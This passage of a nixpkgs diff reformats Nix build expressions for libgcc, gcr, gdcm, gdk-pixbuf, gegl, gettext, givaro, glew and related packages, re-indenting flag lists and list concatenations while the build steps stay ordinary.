+    "-DDISABLE_SSE4_1=${if stdenv.hostPlatform.sse4_1Support then "OFF" else "ON"}"
+    "-DDISABLE_SSE4_2=${if stdenv.hostPlatform.sse4_2Support then "OFF" else "ON"}"
+    "-DDISABLE_SSE4_A=${if stdenv.hostPlatform.sse4_aSupport then "OFF" else "ON"}"
+  ];
 
   meta = with lib; {
     description = "General Framework for Graph Optimization";
diff --git a/pkgs/development/libraries/gcc/libgcc/default.nix b/pkgs/development/libraries/gcc/libgcc/default.nix
index cf51e9b4846d..78ecc8f45523 100644
--- a/pkgs/development/libraries/gcc/libgcc/default.nix
+++ b/pkgs/development/libraries/gcc/libgcc/default.nix
@@ -44,98 +44,95 @@ stdenv.mkDerivation (finalAttrs: {
     buildRoot=$(readlink -e "./build")
   '';
 
-  postPatch =
-    gcc.cc.passthru.forceLibgccToBuildCrtStuff
-    + ''
-      sourceRoot=$(readlink -e "./libgcc")
-    '';
+  postPatch = gcc.cc.passthru.forceLibgccToBuildCrtStuff + ''
+    sourceRoot=$(readlink -e "./libgcc")
+  '';
 
   hardeningDisable = [ "pie" ];
 
-  preConfigure =
-    ''
-      # Drop in libiberty, as external builds are not expected
-      cd "$buildRoot"
-      (
-        mkdir -p build-${stdenv.buildPlatform.config}/libiberty/
-        cd build-${stdenv.buildPlatform.config}/libiberty/
-        ln -s ${buildPackages.libiberty}/lib/libiberty.a ./
-      )
-      mkdir -p "$buildRoot/gcc"
-      cd "$buildRoot/gcc"
-      (
-        # We "shift" the tools over to fake platforms perspective from the previous stage.
-        export AS_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$AS_FOR_BUILD
-        export CC_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$CC_FOR_BUILD
-        export CPP_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$CPP_FOR_BUILD
-        export CXX_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$CXX_FOR_BUILD
-        export LD_FOR_BUILD=${buildPackages.stdenv.cc.bintools}/bin/$LD_FOR_BUILD
-
-        export AS=$AS_FOR_BUILD
-        export CC=$CC_FOR_BUILD
-        export CPP=$CPP_FOR_BUILD
-        export CXX=$CXX_FOR_BUILD
-        export LD=$LD_FOR_BUILD
-
-        export AS_FOR_TARGET=${stdenv.cc}/bin/$AS
-        export CC_FOR_TARGET=${stdenv.cc}/bin/$CC
-        export CPP_FOR_TARGET=${stdenv.cc}/bin/$CPP
-        export LD_FOR_TARGET=${stdenv.cc.bintools}/bin/$LD
-
-        # We define GENERATOR_FILE so nothing bothers looking for GNU GMP.
-        export NIX_CFLAGS_COMPILE_FOR_BUILD+=' -DGENERATOR_FILE=1'
-
-        "$sourceRoot/../gcc/configure" ${lib.concatStringsSep " " gccConfigureFlags}
-
-        # We remove the `libgcc.mvar` deps so that the bootstrap xgcc isn't built.
-        sed -e 's,libgcc.mvars:.*$,libgcc.mvars:,' -i Makefile
-
-        make \
-          config.h \
-          libgcc.mvars \
-          tconfig.h \
-          tm.h \
-          options.h \
-          insn-constants.h \
-    ''
-    + lib.optionalString stdenv.targetPlatform.isM68k ''
-      sysroot-suffix.h \
-    ''
-    + lib.optionalString stdenv.targetPlatform.isAarch32 ''
-      arm-isa.h \
-      arm-cpu.h \
-    ''
-    + lib.optionalString stdenv.targetPlatform.isLoongArch64 ''
-      loongarch-multilib.h \
-    ''
-    + ''
-          insn-modes.h
-      )
-      mkdir -p "$buildRoot/gcc/include"
-
-      # Preparing to configure + build libgcc itself
-      mkdir -p "$buildRoot/gcc/${stdenv.hostPlatform.config}/libgcc"
-      cd "$buildRoot/gcc/${stdenv.hostPlatform.config}/libgcc"
-      configureScript=$sourceRoot/configure
-      chmod +x "$configureScript"
-
+  preConfigure = ''
+    # Drop in libiberty, as external builds are not expected
+    cd "$buildRoot"
+    (
+      mkdir -p build-${stdenv.buildPlatform.config}/libiberty/
+      cd build-${stdenv.buildPlatform.config}/libiberty/
+      ln -s ${buildPackages.libiberty}/lib/libiberty.a ./
+    )
+    mkdir -p "$buildRoot/gcc"
+    cd "$buildRoot/gcc"
+    (
+      # We "shift" the tools over to fake platforms perspective from the previous stage.
       export AS_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$AS_FOR_BUILD
       export CC_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$CC_FOR_BUILD
       export CPP_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$CPP_FOR_BUILD
       export CXX_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$CXX_FOR_BUILD
       export LD_FOR_BUILD=${buildPackages.stdenv.cc.bintools}/bin/$LD_FOR_BUILD
 
-      export AS=${stdenv.cc}/bin/$AS
-      export CC=${stdenv.cc}/bin/$CC
-      export CPP=${stdenv.cc}/bin/$CPP
-      export CXX=${stdenv.cc}/bin/$CXX
-      export LD=${stdenv.cc.bintools}/bin/$LD
+      export AS=$AS_FOR_BUILD
+      export CC=$CC_FOR_BUILD
+      export CPP=$CPP_FOR_BUILD
+      export CXX=$CXX_FOR_BUILD
+      export LD=$LD_FOR_BUILD
 
-      export AS_FOR_TARGET=${stdenv.cc}/bin/$AS_FOR_TARGET
-      export CC_FOR_TARGET=${stdenv.cc}/bin/$CC_FOR_TARGET
-      export CPP_FOR_TARGET=${stdenv.cc}/bin/$CPP_FOR_TARGET
-      export LD_FOR_TARGET=${stdenv.cc.bintools}/bin/$LD_FOR_TARGET
-    '';
+      export AS_FOR_TARGET=${stdenv.cc}/bin/$AS
+      export CC_FOR_TARGET=${stdenv.cc}/bin/$CC
+      export CPP_FOR_TARGET=${stdenv.cc}/bin/$CPP
+      export LD_FOR_TARGET=${stdenv.cc.bintools}/bin/$LD
+
+      # We define GENERATOR_FILE so nothing bothers looking for GNU GMP.
+      export NIX_CFLAGS_COMPILE_FOR_BUILD+=' -DGENERATOR_FILE=1'
+
+      "$sourceRoot/../gcc/configure" ${lib.concatStringsSep " " gccConfigureFlags}
+
+      # We remove the `libgcc.mvar` deps so that the bootstrap xgcc isn't built.
+      sed -e 's,libgcc.mvars:.*$,libgcc.mvars:,' -i Makefile
+
+      make \
+        config.h \
+        libgcc.mvars \
+        tconfig.h \
+        tm.h \
+        options.h \
+        insn-constants.h \
+  ''
+  + lib.optionalString stdenv.targetPlatform.isM68k ''
+    sysroot-suffix.h \
+  ''
+  + lib.optionalString stdenv.targetPlatform.isAarch32 ''
+    arm-isa.h \
+    arm-cpu.h \
+  ''
+  + lib.optionalString stdenv.targetPlatform.isLoongArch64 ''
+    loongarch-multilib.h \
+  ''
+  + ''
+        insn-modes.h
+    )
+    mkdir -p "$buildRoot/gcc/include"
+
+    # Preparing to configure + build libgcc itself
+    mkdir -p "$buildRoot/gcc/${stdenv.hostPlatform.config}/libgcc"
+    cd "$buildRoot/gcc/${stdenv.hostPlatform.config}/libgcc"
+    configureScript=$sourceRoot/configure
+    chmod +x "$configureScript"
+
+    export AS_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$AS_FOR_BUILD
+    export CC_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$CC_FOR_BUILD
+    export CPP_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$CPP_FOR_BUILD
+    export CXX_FOR_BUILD=${buildPackages.stdenv.cc}/bin/$CXX_FOR_BUILD
+    export LD_FOR_BUILD=${buildPackages.stdenv.cc.bintools}/bin/$LD_FOR_BUILD
+
+    export AS=${stdenv.cc}/bin/$AS
+    export CC=${stdenv.cc}/bin/$CC
+    export CPP=${stdenv.cc}/bin/$CPP
+    export CXX=${stdenv.cc}/bin/$CXX
+    export LD=${stdenv.cc.bintools}/bin/$LD
+
+    export AS_FOR_TARGET=${stdenv.cc}/bin/$AS_FOR_TARGET
+    export CC_FOR_TARGET=${stdenv.cc}/bin/$CC_FOR_TARGET
+    export CPP_FOR_TARGET=${stdenv.cc}/bin/$CPP_FOR_TARGET
+    export LD_FOR_TARGET=${stdenv.cc.bintools}/bin/$LD_FOR_TARGET
+  '';
 
   configurePlatforms = [
     "build"
diff --git a/pkgs/development/libraries/gcr/4.nix b/pkgs/development/libraries/gcr/4.nix
index 33e85811a8f8..3a46141a0680 100644
--- a/pkgs/development/libraries/gcr/4.nix
+++ b/pkgs/development/libraries/gcr/4.nix
@@ -57,18 +57,17 @@ stdenv.mkDerivation (finalAttrs: {
     shared-mime-info
   ];
 
-  buildInputs =
-    [
-      libgcrypt
-      libtasn1
-      pango
-      libsecret
-      openssh
-      gtk4
-    ]
-    ++ lib.optionals systemdSupport [
-      systemd
-    ];
+  buildInputs = [
+    libgcrypt
+    libtasn1
+    pango
+    libsecret
+    openssh
+    gtk4
+  ]
+  ++ lib.optionals systemdSupport [
+    systemd
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/development/libraries/gcr/default.nix b/pkgs/development/libraries/gcr/default.nix
index 469db0714e66..220ffdd62d51 100644
--- a/pkgs/development/libraries/gcr/default.nix
+++ b/pkgs/development/libraries/gcr/default.nix
@@ -57,17 +57,16 @@ stdenv.mkDerivation rec {
     openssh
   ];
 
-  buildInputs =
-    [
-      libgcrypt
-      libtasn1
-      pango
-      libsecret
-      openssh
-    ]
-    ++ lib.optionals (systemdSupport) [
-      systemd
-    ];
+  buildInputs = [
+    libgcrypt
+    libtasn1
+    pango
+    libsecret
+    openssh
+  ]
+  ++ lib.optionals (systemdSupport) [
+    systemd
+  ];
 
   propagatedBuildInputs = [
     glib
@@ -79,16 +78,15 @@ stdenv.mkDerivation rec {
     python3
   ];
 
-  mesonFlags =
-    [
-      # We are still using ssh-agent from gnome-keyring.
-      # https://github.com/NixOS/nixpkgs/issues/140824
-      "-Dssh_agent=false"
-      "-Dgpg_path=${lib.getBin gnupg}/bin/gpg"
-    ]
-    ++ lib.optionals (!systemdSupport) [
-      "-Dsystemd=disabled"
-    ];
+  mesonFlags = [
+    # We are still using ssh-agent from gnome-keyring.
+    # https://github.com/NixOS/nixpkgs/issues/140824
+    "-Dssh_agent=false"
+    "-Dgpg_path=${lib.getBin gnupg}/bin/gpg"
+  ]
+  ++ lib.optionals (!systemdSupport) [
+    "-Dsystemd=disabled"
+  ];
 
   doCheck = false; # fails 21 out of 603 tests, needs dbus daemon
 
diff --git a/pkgs/development/libraries/gdcm/default.nix b/pkgs/development/libraries/gdcm/default.nix
index 765e88adbfef..22e89bfddc3f 100644
--- a/pkgs/development/libraries/gdcm/default.nix
+++ b/pkgs/development/libraries/gdcm/default.nix
@@ -27,47 +27,46 @@ stdenv.mkDerivation rec {
     hash = "sha256-Zlb6UCP4aFZOJJNhFQBBrwzst+f37gs1zaCBMTOUgZE=";
   };
 
-  cmakeFlags =
-    [
-      "-DGDCM_BUILD_APPLICATIONS=ON"
-      "-DGDCM_BUILD_SHARED_LIBS=ON"
-      "-DGDCM_BUILD_TESTING=ON"
-      "-DGDCM_USE_SYSTEM_EXPAT=ON"
-      "-DGDCM_USE_SYSTEM_ZLIB=ON"
-      "-DGDCM_USE_SYSTEM_UUID=ON"
-      "-DGDCM_USE_SYSTEM_OPENJPEG=ON"
-      # hack around usual "`RUNTIME_DESTINATION` must not be an absolute path" issue:
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals enableVTK [
-      "-DGDCM_USE_VTK=ON"
-    ]
-    ++ lib.optionals enablePython [
-      "-DGDCM_WRAP_PYTHON:BOOL=ON"
-      "-DGDCM_INSTALL_PYTHONMODULE_DIR=${placeholder "out"}/${python.sitePackages}/python_gdcm"
-    ];
+  cmakeFlags = [
+    "-DGDCM_BUILD_APPLICATIONS=ON"
+    "-DGDCM_BUILD_SHARED_LIBS=ON"
+    "-DGDCM_BUILD_TESTING=ON"
+    "-DGDCM_USE_SYSTEM_EXPAT=ON"
+    "-DGDCM_USE_SYSTEM_ZLIB=ON"
+    "-DGDCM_USE_SYSTEM_UUID=ON"
+    "-DGDCM_USE_SYSTEM_OPENJPEG=ON"
+    # hack around usual "`RUNTIME_DESTINATION` must not be an absolute path" issue:
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals enableVTK [
+    "-DGDCM_USE_VTK=ON"
+  ]
+  ++ lib.optionals enablePython [
+    "-DGDCM_WRAP_PYTHON:BOOL=ON"
+    "-DGDCM_INSTALL_PYTHONMODULE_DIR=${placeholder "out"}/${python.sitePackages}/python_gdcm"
+  ];
 
   nativeBuildInputs = [
     cmake
     pkg-config
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin DarwinTools;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin DarwinTools;
 
-  buildInputs =
-    [
-      expat
-      libuuid
-      openjpeg
-      zlib
-    ]
-    ++ lib.optionals enableVTK [
-      vtk
-    ]
-    ++ lib.optionals enablePython [
-      swig
-      python
-    ];
+  buildInputs = [
+    expat
+    libuuid
+    openjpeg
+    zlib
+  ]
+  ++ lib.optionals enableVTK [
+    vtk
+  ]
+  ++ lib.optionals enablePython [
+    swig
+    python
+  ];
 
   postInstall = lib.optionalString enablePython ''
     substitute \
@@ -76,24 +75,23 @@ stdenv.mkDerivation rec {
       --subst-var-by GDCM_VER "${version}"
   '';
 
-  disabledTests =
-    [
-      # require networking:
-      "TestEcho"
-      "TestFind"
-      "gdcmscu-echo-dicomserver"
-      "gdcmscu-find-dicomserver"
-      # seemingly ought to be disabled when the test data submodule is not present:
-      "TestvtkGDCMImageReader2_3"
-      "TestSCUValidation"
-      # errors because 3 classes not wrapped:
-      "TestWrapPython"
-      # AttributeError: module 'gdcm' has no attribute 'UIDGenerator_SetRoot'; maybe a wrapping regression:
-      "TestUIDGeneratorPython"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) [
-      "TestRescaler2"
-    ];
+  disabledTests = [
+    # require networking:
+    "TestEcho"
+    "TestFind"
+    "gdcmscu-echo-dicomserver"
+    "gdcmscu-find-dicomserver"
+    # seemingly ought to be disabled when the test data submodule is not present:
+    "TestvtkGDCMImageReader2_3"
+    "TestSCUValidation"
+    # errors because 3 classes not wrapped:
+    "TestWrapPython"
+    # AttributeError: module 'gdcm' has no attribute 'UIDGenerator_SetRoot'; maybe a wrapping regression:
+    "TestUIDGeneratorPython"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) [
+    "TestRescaler2"
+  ];
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/development/libraries/gdk-pixbuf/default.nix b/pkgs/development/libraries/gdk-pixbuf/default.nix
index 741ba4644d82..d1bebbdbbb3c 100644
--- a/pkgs/development/libraries/gdk-pixbuf/default.nix
+++ b/pkgs/development/libraries/gdk-pixbuf/default.nix
@@ -30,14 +30,13 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "gdk-pixbuf";
   version = "2.42.12";
 
-  outputs =
-    [
-      "out"
-      "dev"
-      "man"
-    ]
-    ++ lib.optional withIntrospection "devdoc"
-    ++ lib.optional (stdenv.buildPlatform == stdenv.hostPlatform) "installedTests";
+  outputs = [
+    "out"
+    "dev"
+    "man"
+  ]
+  ++ lib.optional withIntrospection "devdoc"
+  ++ lib.optional (stdenv.buildPlatform == stdenv.hostPlatform) "installedTests";
 
   src =
     let
@@ -62,26 +61,25 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gettext
-      python3
-      makeWrapper
-      glib
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gettext
+    python3
+    makeWrapper
+    glib
 
-      # for man pages
-      docutils
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ]
-    ++ lib.optionals withIntrospection [
-      gi-docgen
-      gobject-introspection
-    ];
+    # for man pages
+    docutils
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ]
+  ++ lib.optionals withIntrospection [
+    gi-docgen
+    gobject-introspection
+  ];
 
   propagatedBuildInputs = [
     glib
@@ -90,16 +88,15 @@ stdenv.mkDerivation (finalAttrs: {
     libpng
   ];
 
-  mesonFlags =
-    [
-      "-Dgio_sniffing=false"
-      (lib.mesonBool "gtk_doc" withIntrospection)
-      (lib.mesonEnable "introspection" withIntrospection)
-      (lib.mesonEnable "others" true)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      "-Dbuiltin_loaders=all"
-    ];
+  mesonFlags = [
+    "-Dgio_sniffing=false"
+    (lib.mesonBool "gtk_doc" withIntrospection)
+    (lib.mesonEnable "introspection" withIntrospection)
+    (lib.mesonEnable "others" true)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    "-Dbuiltin_loaders=all"
+  ];
 
   postPatch = ''
     chmod +x build-aux/* # patchShebangs only applies to executables
@@ -118,25 +115,24 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace meson.build --replace-fail "'ani'," ""
   '';
 
-  postInstall =
-    ''
-      # All except one utility seem to be only useful during building.
-      moveToOutput "bin" "$dev"
-      moveToOutput "bin/gdk-pixbuf-thumbnailer" "$out"
+  postInstall = ''
+    # All except one utility seem to be only useful during building.
+    moveToOutput "bin" "$dev"
+    moveToOutput "bin/gdk-pixbuf-thumbnailer" "$out"
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # meson erroneously installs loaders with .dylib extension on Darwin.
-      # Their @rpath has to be replaced before gdk-pixbuf-query-loaders looks at them.
-      for f in $out/${finalAttrs.passthru.moduleDir}/*.dylib; do
-          install_name_tool -change @rpath/libgdk_pixbuf-2.0.0.dylib $out/lib/libgdk_pixbuf-2.0.0.dylib $f
-          mv $f ''${f%.dylib}.so
-      done
-    ''
-    + lib.optionalString withIntrospection ''
-      # We need to install 'loaders.cache' in lib/gdk-pixbuf-2.0/2.10.0/
-      ${stdenv.hostPlatform.emulator buildPackages} $dev/bin/gdk-pixbuf-query-loaders --update-cache
-    '';
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # meson erroneously installs loaders with .dylib extension on Darwin.
+    # Their @rpath has to be replaced before gdk-pixbuf-query-loaders looks at them.
+    for f in $out/${finalAttrs.passthru.moduleDir}/*.dylib; do
+        install_name_tool -change @rpath/libgdk_pixbuf-2.0.0.dylib $out/lib/libgdk_pixbuf-2.0.0.dylib $f
+        mv $f ''${f%.dylib}.so
+    done
+  ''
+  + lib.optionalString withIntrospection ''
+    # We need to install 'loaders.cache' in lib/gdk-pixbuf-2.0/2.10.0/
+    ${stdenv.hostPlatform.emulator buildPackages} $dev/bin/gdk-pixbuf-query-loaders --update-cache
+  '';
 
   # The fixDarwinDylibNames hook doesn't patch binaries.
   preFixup = lib.optionalString stdenv.hostPlatform.isDarwin ''
diff --git a/pkgs/development/libraries/gecode/default.nix b/pkgs/development/libraries/gecode/default.nix
index 078d21d87c6a..37ae45e5de68 100644
--- a/pkgs/development/libraries/gecode/default.nix
+++ b/pkgs/development/libraries/gecode/default.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
     perl
     gmp
     mpfr
-  ] ++ lib.optional enableGist qtbase;
+  ]
+  ++ lib.optional enableGist qtbase;
 
   meta = with lib; {
     license = licenses.mit;
diff --git a/pkgs/development/libraries/gegl/default.nix b/pkgs/development/libraries/gegl/default.nix
index 044a8de95888..b010281d4891 100644
--- a/pkgs/development/libraries/gegl/default.nix
+++ b/pkgs/development/libraries/gegl/default.nix
@@ -61,32 +61,31 @@ stdenv.mkDerivation (finalAttrs: {
     gi-docgen
   ];
 
-  buildInputs =
-    [
-      libpng
-      cairo
-      libjpeg
-      librsvg
-      lensfun
-      libspiro
-      maxflow
-      netsurf.libnsgif
-      pango
-      poly2tri-c
-      poppler
-      bzip2
-      libraw
-      libwebp
-      gexiv2
-      openexr
-      suitesparse
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.openmp
-    ]
-    ++ lib.optionals withLuaJIT [
-      luajit
-    ];
+  buildInputs = [
+    libpng
+    cairo
+    libjpeg
+    librsvg
+    lensfun
+    libspiro
+    maxflow
+    netsurf.libnsgif
+    pango
+    poly2tri-c
+    poppler
+    bzip2
+    libraw
+    libwebp
+    gexiv2
+    openexr
+    suitesparse
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.openmp
+  ]
+  ++ lib.optionals withLuaJIT [
+    luajit
+  ];
 
   # for gegl-4.0.pc
   propagatedBuildInputs = [
@@ -95,21 +94,20 @@ stdenv.mkDerivation (finalAttrs: {
     babl
   ];
 
-  mesonFlags =
-    [
-      "-Dmrg=disabled" # not sure what that is
-      "-Dsdl2=disabled"
-      "-Dpygobject=disabled"
-      "-Dlibav=disabled"
-      "-Dlibv4l=disabled"
-      "-Dlibv4l2=disabled"
-      # Disabled due to multiple vulnerabilities, see
-      # https://github.com/NixOS/nixpkgs/pull/73586
-      "-Djasper=disabled"
-    ]
-    ++ lib.optionals (!withLuaJIT) [
-      "-Dlua=disabled"
-    ];
+  mesonFlags = [
+    "-Dmrg=disabled" # not sure what that is
+    "-Dsdl2=disabled"
+    "-Dpygobject=disabled"
+    "-Dlibav=disabled"
+    "-Dlibv4l=disabled"
+    "-Dlibv4l2=disabled"
+    # Disabled due to multiple vulnerabilities, see
+    # https://github.com/NixOS/nixpkgs/pull/73586
+    "-Djasper=disabled"
+  ]
+  ++ lib.optionals (!withLuaJIT) [
+    "-Dlua=disabled"
+  ];
 
   postPatch = ''
     chmod +x tests/opencl/opencl_test.sh
diff --git a/pkgs/development/libraries/gettext/default.nix b/pkgs/development/libraries/gettext/default.nix
index c2ece509aed2..5b0058f0d665 100644
--- a/pkgs/development/libraries/gettext/default.nix
+++ b/pkgs/development/libraries/gettext/default.nix
@@ -36,47 +36,45 @@ stdenv.mkDerivation rec {
 
   LDFLAGS = lib.optionalString stdenv.hostPlatform.isSunOS "-lm -lmd -lmp -luutil -lnvpair -lnsl -lidmap -lavl -lsec";
 
-  configureFlags =
-    [
-      "--disable-csharp"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      # On cross building, gettext supposes that the wchar.h from libc
-      # does not fulfill gettext needs, so it tries to work with its
-      # own wchar.h file, which does not cope well with the system's
-      # wchar.h and stddef.h (gcc-4.3 - glibc-2.9)
-      "gl_cv_func_wcwidth_works=yes"
-    ];
+  configureFlags = [
+    "--disable-csharp"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    # On cross building, gettext supposes that the wchar.h from libc
+    # does not fulfill gettext needs, so it tries to work with its
+    # own wchar.h file, which does not cope well with the system's
+    # wchar.h and stddef.h (gcc-4.3 - glibc-2.9)
+    "gl_cv_func_wcwidth_works=yes"
+  ];
 
-  postPatch =
-    ''
-      # Older versions of gettext come with a copy of `extern-inline.m4` that is not compatible with clang 18.
-      # When a project uses gettext + autoreconfPhase, autoreconfPhase will invoke `autopoint -f`, which will
-      # replace whatever (probably compatible) version of `extern-inline.m4` with one that probalby won’t work
-      # because `autopoint` will copy the autoconf macros from the project’s required version of gettext.
-      # Fixing this requires replacing all the older copies of the problematic file with a new one.
-      #
-      # This is ugly, but it avoids requiring workarounds in every package using gettext and autoreconfPhase.
-      declare -a oldFiles=($(tar tf gettext-tools/misc/archive.dir.tar | grep '^gettext-0\.[19].*/extern-inline.m4'))
-      oldFilesDir=$(mktemp -d)
-      for oldFile in "''${oldFiles[@]}"; do
-        mkdir -p "$oldFilesDir/$(dirname "$oldFile")"
-        cp -a gettext-tools/gnulib-m4/extern-inline.m4 "$oldFilesDir/$oldFile"
-      done
-      tar uf gettext-tools/misc/archive.dir.tar --owner=0 --group=0 --numeric-owner -C "$oldFilesDir" "''${oldFiles[@]}"
+  postPatch = ''
+    # Older versions of gettext come with a copy of `extern-inline.m4` that is not compatible with clang 18.
+    # When a project uses gettext + autoreconfPhase, autoreconfPhase will invoke `autopoint -f`, which will
+    # replace whatever (probably compatible) version of `extern-inline.m4` with one that probalby won’t work
+    # because `autopoint` will copy the autoconf macros from the project’s required version of gettext.
+    # Fixing this requires replacing all the older copies of the problematic file with a new one.
+    #
+    # This is ugly, but it avoids requiring workarounds in every package using gettext and autoreconfPhase.
+    declare -a oldFiles=($(tar tf gettext-tools/misc/archive.dir.tar | grep '^gettext-0\.[19].*/extern-inline.m4'))
+    oldFilesDir=$(mktemp -d)
+    for oldFile in "''${oldFiles[@]}"; do
+      mkdir -p "$oldFilesDir/$(dirname "$oldFile")"
+      cp -a gettext-tools/gnulib-m4/extern-inline.m4 "$oldFilesDir/$oldFile"
+    done
+    tar uf gettext-tools/misc/archive.dir.tar --owner=0 --group=0 --numeric-owner -C "$oldFilesDir" "''${oldFiles[@]}"
 
-      substituteAllInPlace gettext-runtime/src/gettext.sh.in
-      substituteInPlace gettext-tools/projects/KDE/trigger --replace "/bin/pwd" pwd
-      substituteInPlace gettext-tools/projects/GNOME/trigger --replace "/bin/pwd" pwd
-      substituteInPlace gettext-tools/src/project-id --replace "/bin/pwd" pwd
-    ''
-    + lib.optionalString stdenv.hostPlatform.isCygwin ''
-      sed -i -e "s/\(cldr_plurals_LDADD = \)/\\1..\/gnulib-lib\/libxml_rpl.la /" gettext-tools/src/Makefile.in
-      sed -i -e "s/\(libgettextsrc_la_LDFLAGS = \)/\\1..\/gnulib-lib\/libxml_rpl.la /" gettext-tools/src/Makefile.in
-    ''
-    + lib.optionalString stdenv.hostPlatform.isMinGW ''
-      sed -i "s/@GNULIB_CLOSE@/1/" */*/unistd.in.h
-    '';
+    substituteAllInPlace gettext-runtime/src/gettext.sh.in
+    substituteInPlace gettext-tools/projects/KDE/trigger --replace "/bin/pwd" pwd
+    substituteInPlace gettext-tools/projects/GNOME/trigger --replace "/bin/pwd" pwd
+    substituteInPlace gettext-tools/src/project-id --replace "/bin/pwd" pwd
+  ''
+  + lib.optionalString stdenv.hostPlatform.isCygwin ''
+    sed -i -e "s/\(cldr_plurals_LDADD = \)/\\1..\/gnulib-lib\/libxml_rpl.la /" gettext-tools/src/Makefile.in
+    sed -i -e "s/\(libgettextsrc_la_LDFLAGS = \)/\\1..\/gnulib-lib\/libxml_rpl.la /" gettext-tools/src/Makefile.in
+  ''
+  + lib.optionalString stdenv.hostPlatform.isMinGW ''
+    sed -i "s/@GNULIB_CLOSE@/1/" */*/unistd.in.h
+  '';
 
   strictDeps = true;
   nativeBuildInputs = [
diff --git a/pkgs/development/libraries/givaro/default.nix b/pkgs/development/libraries/givaro/default.nix
index 4271952e11d1..957f94c56109 100644
--- a/pkgs/development/libraries/givaro/default.nix
+++ b/pkgs/development/libraries/givaro/default.nix
@@ -60,22 +60,21 @@ stdenv.mkDerivation rec {
   buildInputs = [ libtool ];
   propagatedBuildInputs = [ gmpxx ];
 
-  configureFlags =
-    [
-      "--without-archnative"
-      "CCNAM=${stdenv.cc.cc.pname}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      # disable SIMD instructions (which are enabled *when available* by default)
-      "--${if stdenv.hostPlatform.sse3Support then "enable" else "disable"}-sse3"
-      "--${if stdenv.hostPlatform.ssse3Support then "enable" else "disable"}-ssse3"
-      "--${if stdenv.hostPlatform.sse4_1Support then "enable" else "disable"}-sse41"
-      "--${if stdenv.hostPlatform.sse4_2Support then "enable" else "disable"}-sse42"
-      "--${if stdenv.hostPlatform.avxSupport then "enable" else "disable"}-avx"
-      "--${if stdenv.hostPlatform.avx2Support then "enable" else "disable"}-avx2"
-      "--${if stdenv.hostPlatform.fmaSupport then "enable" else "disable"}-fma"
-      "--${if stdenv.hostPlatform.fma4Support then "enable" else "disable"}-fma4"
-    ];
+  configureFlags = [
+    "--without-archnative"
+    "CCNAM=${stdenv.cc.cc.pname}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    # disable SIMD instructions (which are enabled *when available* by default)
+    "--${if stdenv.hostPlatform.sse3Support then "enable" else "disable"}-sse3"
+    "--${if stdenv.hostPlatform.ssse3Support then "enable" else "disable"}-ssse3"
+    "--${if stdenv.hostPlatform.sse4_1Support then "enable" else "disable"}-sse41"
+    "--${if stdenv.hostPlatform.sse4_2Support then "enable" else "disable"}-sse42"
+    "--${if stdenv.hostPlatform.avxSupport then "enable" else "disable"}-avx"
+    "--${if stdenv.hostPlatform.avx2Support then "enable" else "disable"}-avx2"
+    "--${if stdenv.hostPlatform.fmaSupport then "enable" else "disable"}-fma"
+    "--${if stdenv.hostPlatform.fma4Support then "enable" else "disable"}-fma4"
+  ];
 
   # On darwin, tests are linked to dylib in the nix store, so we need to make
   # sure tests run after installPhase.
diff --git a/pkgs/development/libraries/glew/default.nix b/pkgs/development/libraries/glew/default.nix
index 64b79757ccf5..364f51b4b2e8 100644
--- a/pkgs/development/libraries/glew/default.nix
+++ b/pkgs/development/libraries/glew/default.nix
@@ -54,7 +54,8 @@ stdenv.mkDerivation (finalAttrs: {
   cmakeDir = "cmake";
   cmakeFlags = [
     "-DBUILD_SHARED_LIBS=ON"
-  ] ++ lib.optional enableEGL "-DGLEW_EGL=ON";
+  ]
+  ++ lib.optional enableEGL "-DGLEW_EGL=ON";
 
   postInstall = ''
     moveToOutput lib/cmake "''${!outputDev}"
diff --git a/pkgs/development/libraries/glibc/common.nix b/pkgs/development/libraries/glibc/common.nix
index 18e7d84477f7..e943ad8f4b97 100644
--- a/pkgs/development/libraries/glibc/common.nix
+++ b/pkgs/development/libraries/glibc/common.nix
